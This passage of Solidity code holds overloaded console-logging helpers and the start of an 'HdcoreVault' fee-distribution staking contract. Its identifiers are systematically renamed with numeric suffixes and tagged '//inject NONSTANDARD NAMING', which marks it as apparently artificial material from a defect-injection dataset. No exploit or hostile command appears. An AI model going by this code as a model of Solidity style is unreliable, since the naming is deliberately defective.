_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // HDCore Vault distributes fees equally amongst staked pools // Have fun reading it. Hopefully it's bug-free. God bless. contract HdcoreVault is OwnableUpgradeSafe { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HdCOREs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accHdcorePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws tokens to a pool. Here's what happens: // 1. The pool's `accHdcorePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. HDCOREs to distribute per block. uint256 accHdcorePerShare; // Accumulated HDCOREs per share, times 1e12. See below. bool withdrawable; // Is this pool withdrawable? mapping(address => mapping(address => uint256)) allowance; } // The HDCORE TOKEN! INBUNIERC20 public hdcore; // Dev address. address public devaddr; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public pendingRewards; uint256 public contractStartBlock; uint256 public epochCalculationStartBlock; uint256 public cumulativeRewardsSinceStart; uint256 public rewardsInThisEpoch; uint public epoch; // Returns fees generated since start of this contract function AVERAGEFEESPERBLOCKSINCESTART533() external view returns (uint averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch).DIV156(block.number.SUB877(contractStartBlock)); } // Returns averge fees in this epoch function AVERAGEFEESPERBLOCKEPOCH880() external view returns (uint256 averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = rewardsInThisEpoch.DIV156(block.number.SUB877(epochCalculationStartBlock)); } // For easy graphing historical epoch rewards mapping(uint => uint256) public epochRewards; //Starts a new calculation epoch // Because averge since start will not be accurate function STARTNEWEPOCH403() public { //inject NONSTANDARD NAMING require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week epochRewards[epoch] = rewardsInThisEpoch; cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch); rewardsInThisEpoch = 0; epochCalculationStartBlock = block.number; ++epoch; } event DEPOSIT941(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAW483(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW770( //inject NONSTANDARD NAMING address indexed user, uint256 indexed pid, uint256 amount ); event APPROVAL172(address indexed owner, address indexed spender, uint256 _pid, uint256 value); //inject NONSTANDARD NAMING function INITIALIZE896( //inject NONSTANDARD NAMING INBUNIERC20 _hdcore ) public INITIALIZER933 { OwnableUpgradeSafe.__OWNABLE_INIT503(); DEV_FEE = 724; hdcore = _hdcore; devaddr = msg.sender; contractStartBlock = block.number; _superAdmin = msg.sender; } function POOLLENGTH724() external view returns (uint256) { //inject NONSTANDARD NAMING return poolInfo.length; } // 